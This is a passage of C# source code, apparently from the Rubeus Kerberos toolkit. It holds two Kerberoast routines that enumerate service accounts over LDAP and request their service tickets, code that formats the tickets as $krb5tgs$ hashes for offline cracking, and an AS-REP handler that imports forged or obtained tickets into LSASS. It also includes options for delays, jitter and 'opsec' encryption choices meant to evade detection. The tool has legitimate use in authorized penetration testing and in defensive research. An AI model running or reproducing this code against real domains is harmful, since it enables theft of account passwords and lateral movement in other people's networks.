error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) { Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); return; } if (delay != 0) { Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); if (jitter != 0) { Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); } Console.WriteLine(); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else if ((spns != null) && (spns.Count != 0)) { foreach (string s in spns) { Console.WriteLine("\r\n[*] Target SPN : {0}", s); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); } } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } // inject ticket for LDAP search if supplied if (TGT != null) { byte[] kirbiBytes = null; string ticketDomain = TGT.enc_part.ticket_info[0].prealm; if (String.IsNullOrEmpty(domain)) { // if a domain isn't specified, use the domain from the referral domain = ticketDomain; } // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher if (ticketDomain != domain) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(domain); } string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); if (match.Success) { System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); dc = dcInfo.HostName; } // request a service tickt for LDAP on the target DC kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); } // otherwise inject the TGT to perform the domain searcher else { kirbiBytes = TGT.Encode().Encode(); } LSA.ImportTicket(kirbiBytes, new LUID()); } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; try { directoryObject = Networking.GetLdapSearchRoot(cred, OUName, dc, domain); userSearcher = new DirectorySearcher(directoryObject); // enable LDAP paged search to get all results, by pages of 1000 items userSearcher.PageSize = 1000; } catch (Exception ex) { if (ex.InnerException != null) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); DateTime?pwdLastSet = null; if (user.Properties.Contains("pwdlastset")) { long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); } Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } if (pwdLastSet == null) { // pwdLastSet == null with new accounts and // when a password is set to never expire if (!userPWDsetYears.ContainsKey(-1)) { userPWDsetYears[-1] = 1; } else { userPWDsetYears[-1] += 1; } } else { int year = pwdLastSet.Value.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] += 1; } } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, Interop.KERB_ETYPE.rc4_hmac); Helpers.RandomDelayWithJitter(delay, jitter); } } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc); Helpers.RandomDelayWithJitter(delay, jitter); } } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, string kerberoastUser = "******", string kerberoastDomain = "DOMAIN", string outFile = "", bool simpleOutput = false) { // output the hash of the encrypted KERB-CRED service ticket in a kerberoast hash form int encType = cred.tickets[0].enc_part.etype; string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray()); string domainName = cred.enc_part.ticket_info[0].prealm; string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray()); string cipherText = BitConverter.ToString(cred.tickets[0].enc_part.cipher).Replace("-", string.Empty); string hash = ""; //Aes needs to be treated differently, as the checksum is the last 24, not the first 32. if ((encType == 18) || (encType == 17)) { int checksumStart = cipherText.Length - 24; //Enclose SPN in *s rather than username, realm and SPN. This doesn't impact cracking, but might affect loading into hashcat. hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart)); } //if encType==23 else { hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(0, 32), cipherText.Substring(32)); } if (!String.IsNullOrEmpty(outFile)) { string outFilePath = Path.GetFullPath(outFile); try { File.AppendAllText(outFilePath, hash + Environment.NewLine); } catch (Exception e) { Console.WriteLine("Exception: {0}", e.Message); } Console.WriteLine("[*] Hash written to {0}", outFilePath); } else if (simpleOutput) { Console.WriteLine(hash); } else { bool header = false; if (Rubeus.Program.wrapTickets) { foreach (string line in Helpers.Split(hash, 80)) { if (!header) { if (kerberoastDisplay) { Console.WriteLine("[*] Hash : {0}", line); } else { Console.WriteLine(" Kerberoast Hash : {0}", line); } } else { if (kerberoastDisplay) { Console.WriteLine(" {0}", line); } else { Console.WriteLine(" {0}", line); } } header = true; } } else { if (kerberoastDisplay) { Console.WriteLine("[*] Hash : {0}", hash); } else { Console.WriteLine(" Kerberoast Hash : {0}", hash); } } } }
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", int resultLimit = 0) { Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", dc); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from " + pwdSetAfter + " to " + pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Found {0} user(s) to Kerberoast!", users.Count); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); if (!String.IsNullOrEmpty(domain)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc); } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile); } } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "") { // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key; if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { // generate the decryption key using Diffie Hellman shared secret PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); } else { // convert the key string to bytes key = Helpers.StringToByteArray(asReq.keyString); } // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key); } if (getCredentials) { Console.WriteLine("[*] Getting credentials using U2U\r\n"); byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true); byte[] u2uResponse = 